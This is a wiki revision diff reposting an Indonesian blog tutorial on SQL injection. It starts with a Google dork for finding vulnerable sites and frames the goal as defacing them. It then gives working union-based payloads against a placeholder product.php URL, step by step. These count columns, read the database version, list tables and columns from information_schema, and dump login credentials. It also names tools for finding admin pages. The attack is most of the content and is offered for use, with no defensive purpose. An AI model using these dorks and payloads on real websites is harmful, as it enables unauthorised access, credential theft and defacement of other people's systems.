Difference between revisions of "SQL Injection Web dengan Dork"
Onnowpurbo (talk | contribs) (New page: Sumber: http://ujie-caprone.blogspot.com/2010/12/sql-injection-web-dengan-dork.html SQL Injection Web dengan Dork Posted by Ujie Caprone on 23.39 SQL injection merupakan aksi hacking pad...) |
Onnowpurbo (talk | contribs) |
||
Line 1: | Line 1: | ||
Sumber: http://ujie-caprone.blogspot.com/2010/12/sql-injection-web-dengan-dork.html | Sumber: http://ujie-caprone.blogspot.com/2010/12/sql-injection-web-dengan-dork.html | ||
− | |||
Posted by Ujie Caprone on 23.39 | Posted by Ujie Caprone on 23.39 | ||
SQL injection merupakan aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. Langsung aja ya ke permasalahannya yaitu Teknik SQL Injection dengan Dork namun Sebelum men daface sebuah situs, kita bisa menggunakan dork Sql Injection dengan bantuan om google | SQL injection merupakan aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. Langsung aja ya ke permasalahannya yaitu Teknik SQL Injection dengan Dork namun Sebelum men daface sebuah situs, kita bisa menggunakan dork Sql Injection dengan bantuan om google | ||
− | inurl:"product.php?id=" & intext:"You have an error in your SQL syntax" | + | |
+ | inurl:"product.php?id=" & intext:"You have an error in your SQL syntax" | ||
+ | |||
Misal yang didapat : | Misal yang didapat : | ||
− | http://www.targetweb.com/detailproduct.php?id=35 | + | |
+ | http://www.targetweb.com/detailproduct.php?id=35 | ||
+ | |||
untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url | untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url | ||
− | http://www.targetweb.com/detailproduct.php?id=35' | + | |
+ | http://www.targetweb.com/detailproduct.php?id=35' | ||
Setelah itu akan muncul bug pesan error : | Setelah itu akan muncul bug pesan error : | ||
− | You have an error in your SQL syntax; check the manual that corresponds to your | + | |
− | MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1 | + | You have an error in your SQL syntax; check the manual that corresponds to your |
+ | MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1 | ||
Untuk mencari column gunakan perintah [ order by ] | Untuk mencari column gunakan perintah [ order by ] | ||
− | http://www.targetweb.com/detailproduct.php?id=35 order by 1-- | + | |
+ | http://www.targetweb.com/detailproduct.php?id=35 order by 1-- | ||
+ | |||
mulai dari angka 1,2,3 dan seterusnya hingga menemukan pesan error selanjutnya 2, dst sampe muncul pesan error "Unknown column '17' in 'order clause'" | mulai dari angka 1,2,3 dan seterusnya hingga menemukan pesan error selanjutnya 2, dst sampe muncul pesan error "Unknown column '17' in 'order clause'" | ||
+ | |||
Pesan error muncul pada angka 17 | Pesan error muncul pada angka 17 | ||
− | http://www.targetweb.com/detailproduct.php?id=35 order by 17-- | + | |
+ | http://www.targetweb.com/detailproduct.php?id=35 order by 17-- | ||
+ | |||
muncul pesan error: | muncul pesan error: | ||
− | Unknown column '17' in 'order clause' | + | |
+ | Unknown column '17' in 'order clause' | ||
Jadi angka yang diambil adalah 17-1 = 16 (jumlah column adalah 16) | Jadi angka yang diambil adalah 17-1 = 16 (jumlah column adalah 16) | ||
Berikutnya kita akan mencari "angka" dimana dengan angka tersebut kita bisa melakukan injection dengan perintah "union all select" | Berikutnya kita akan mencari "angka" dimana dengan angka tersebut kita bisa melakukan injection dengan perintah "union all select" | ||
− | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- | + | |
+ | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- | ||
+ | |||
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 35 | Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 35 | ||
akan muncul "angka" : 4, 7 dan 13 | akan muncul "angka" : 4, 7 dan 13 | ||
+ | |||
Pilih salah satunya saja, misal 4 | Pilih salah satunya saja, misal 4 | ||
Langsung kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4 | Langsung kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4 | ||
− | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16-- | + | |
+ | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16-- | ||
Nanti diweb tersebut akan muncul tulisan : | Nanti diweb tersebut akan muncul tulisan : | ||
− | 5.0.91-community | + | |
+ | 5.0.91-community | ||
+ | |||
Ternyata versi 5, kalau versi 4 lain waktu akan saya bahas. | Ternyata versi 5, kalau versi 4 lain waktu akan saya bahas. | ||
− | Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka dan menambahkan "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 16 | + | Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka dan menambahkan |
− | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where table_schema=database()-- | + | |
+ | "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 16 | ||
+ | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where table_schema=database()-- | ||
Akan muncul nama-nama table : | Akan muncul nama-nama table : | ||
− | login,tbanner,tcatprod,tproduct,tset dan lain-lain | + | |
+ | login,tbanner,tcatprod,tproduct,tset dan lain-lain | ||
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password, | Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password, | ||
kali ini kita ambil table "login" | kali ini kita ambil table "login" | ||
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini : | sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini : | ||
− | http://cyber4rt.com/~converter | + | |
+ | http://cyber4rt.com/~converter | ||
+ | |||
ketik : login | ketik : login | ||
− | pilih ASCII to Hex | + | |
− | hasilnya : 6c6f67696e | + | pilih ASCII to Hex |
+ | hasilnya : 6c6f67696e | ||
Perintah selanjutnya adalah "group_concat(column_name)" pada angka 4 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL | Perintah selanjutnya adalah "group_concat(column_name)" pada angka 4 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL | ||
Line 58: | Line 81: | ||
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert | tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert | ||
ke hexa | ke hexa | ||
− | http://www.targetweb.com/detailproduct.php?id=-35 union all select | + | |
− | 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16+from+ | + | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.columns+where+table_name=0x6c6f67696e-- |
− | |||
muncul column : user,pass | muncul column : user,pass | ||
Line 70: | Line 92: | ||
NAMA TABLE diganti dengan " login " untuk mengambil informasi dari table yang bernama | NAMA TABLE diganti dengan " login " untuk mengambil informasi dari table yang bernama | ||
"login" | "login" | ||
− | |||
− | |||
− | hasil : admin:admin | + | http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(user,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16+from+login-- |
+ | |||
+ | hasil : admin:admin | ||
+ | |||
jadi, | jadi, | ||
− | user = admin | + | |
− | password = admin | + | user = admin |
+ | password = admin | ||
Selesai pencarian User dan Password, dilanjutkan ke pencarian Page Admin. | Selesai pencarian User dan Password, dilanjutkan ke pencarian Page Admin. | ||
Untuk mencari page admin, gunakan aplikasi berikut: | Untuk mencari page admin, gunakan aplikasi berikut: | ||
− | Instant SQLI | + | |
+ | Instant SQLI | ||
+ | |||
Atau juga bisa gunakan Aplikasi Havij | Atau juga bisa gunakan Aplikasi Havij | ||
Revision as of 20:39, 4 January 2011
Sumber: http://ujie-caprone.blogspot.com/2010/12/sql-injection-web-dengan-dork.html
Posted by Ujie Caprone on 23.39
SQL injection merupakan aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. Langsung aja ya ke permasalahannya yaitu Teknik SQL Injection dengan Dork namun Sebelum men daface sebuah situs, kita bisa menggunakan dork Sql Injection dengan bantuan om google
inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"
Misal yang didapat :
http://www.targetweb.com/detailproduct.php?id=35
untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
http://www.targetweb.com/detailproduct.php?id=35'
Setelah itu akan muncul bug pesan error :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
Untuk mencari column gunakan perintah [ order by ]
http://www.targetweb.com/detailproduct.php?id=35 order by 1--
mulai dari angka 1,2,3 dan seterusnya hingga menemukan pesan error selanjutnya 2, dst sampe muncul pesan error "Unknown column '17' in 'order clause'"
Pesan error muncul pada angka 17
http://www.targetweb.com/detailproduct.php?id=35 order by 17--
muncul pesan error:
Unknown column '17' in 'order clause'
Jadi angka yang diambil adalah 17-1 = 16 (jumlah column adalah 16)
Berikutnya kita akan mencari "angka" dimana dengan angka tersebut kita bisa melakukan injection dengan perintah "union all select"
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 35
akan muncul "angka" : 4, 7 dan 13
Pilih salah satunya saja, misal 4 Langsung kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16--
Nanti diweb tersebut akan muncul tulisan :
5.0.91-community
Ternyata versi 5, kalau versi 4 lain waktu akan saya bahas.
Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka dan menambahkan
"+from+information_schema.tables+where+table_schema=database()--" di belakang angka 16 http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where table_schema=database()--
Akan muncul nama-nama table :
login,tbanner,tcatprod,tproduct,tset dan lain-lain
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password, kali ini kita ambil table "login" sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://cyber4rt.com/~converter
ketik : login
pilih ASCII to Hex hasilnya : 6c6f67696e
Perintah selanjutnya adalah "group_concat(column_name)" pada angka 4 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL
ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert ke hexa
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.columns+where+table_name=0x6c6f67696e--
muncul column : user,pass
untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 4 dan +from+NAMATABLE-- pada akhir URL
ganti column 1 dengan " user " dan column 2 dengan " pass " 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa NAMA TABLE diganti dengan " login " untuk mengambil informasi dari table yang bernama "login"
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(user,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16+from+login--
hasil : admin:admin
jadi,
user = admin password = admin
Selesai pencarian User dan Password, dilanjutkan ke pencarian Page Admin. Untuk mencari page admin, gunakan aplikasi berikut:
Instant SQLI
Atau juga bisa gunakan Aplikasi Havij
NB: ini saya ambil dari tutor yang saya baca dan sedikit saya ubah bahasa penulisan dan web tujuan.